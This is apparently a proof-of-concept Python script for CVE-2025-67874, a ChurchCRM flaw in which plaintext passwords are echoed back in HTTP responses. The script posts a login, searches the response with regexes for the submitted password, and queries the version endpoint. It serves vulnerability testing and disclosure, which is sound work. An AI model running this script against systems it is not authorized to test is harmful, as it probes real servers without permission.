CVE-2025-67874 ChurchCRM密码明文回显信息泄露漏洞

# CVE-2025-67874 PoC - ChurchCRM Password Echo Information Disclosure # This PoC demonstrates the password echo vulnerability in ChurchCRM < 6.5.0 import requests import re from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) TARGET_URL = "https://target-churchcrm.com" USERNAME = "[email protected]" PASSWORD = "user_password" def exploit_password_echo(): """ Exploit the password echo vulnerability in ChurchCRM The application echoes back plaintext passwords in HTTP responses """ session = requests.Session() # Step 1: Attempt login to trigger password echo login_url = f"{TARGET_URL}/session/login" login_data = { "Username": USERNAME, "Password": PASSWORD } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } print(f"[*] Attempting login with user: {USERNAME}") response = session.post(login_url, data=login_data, headers=headers, verify=False, allow_redirects=False) # Step 2: Search for plaintext password in response # The vulnerability echoes password in hidden fields or response body password_patterns = [ r'value=["\']{}["\']'.format(re.escape(PASSWORD)), r'password["\s]*[:=]["\s]*["\']{}["\']'.format(re.escape(PASSWORD)), r'<input[^>]*value=["\']{}["\'][^>]*type=["\']password["\']'.format(re.escape(PASSWORD)), r'"password"\s*:\s*"{}"'.format(re.escape(PASSWORD)) ] for pattern in password_patterns: matches = re.findall(pattern, response.text, re.IGNORECASE) if matches: print(f"[!] VULNERABLE: Plaintext password found in response!") print(f"[+] Password echoed: {PASSWORD}") print(f"[+] Response status: {response.status_code}") return True print("[*] No plaintext password echo detected (possibly patched)") return False def check_version(): """Check ChurchCRM version""" version_url = f"{TARGET_URL}/api/system/ping" try: response = requests.get(version_url, verify=False, timeout=10) if response.status_code == 200: data = response.json() version = data.get('version', 'unknown') print(f"[*] ChurchCRM Version: {version}") return version except Exception as e: print(f"[*] Could not determine version: {e}") return None if __name__ == "__main__": print("=" * 60) print("CVE-2025-67874 - ChurchCRM Password Echo PoC") print("=" * 60) version = check_version() exploit_password_echo() print("\n[*] Mitigation: Upgrade to ChurchCRM 6.5.0 or later")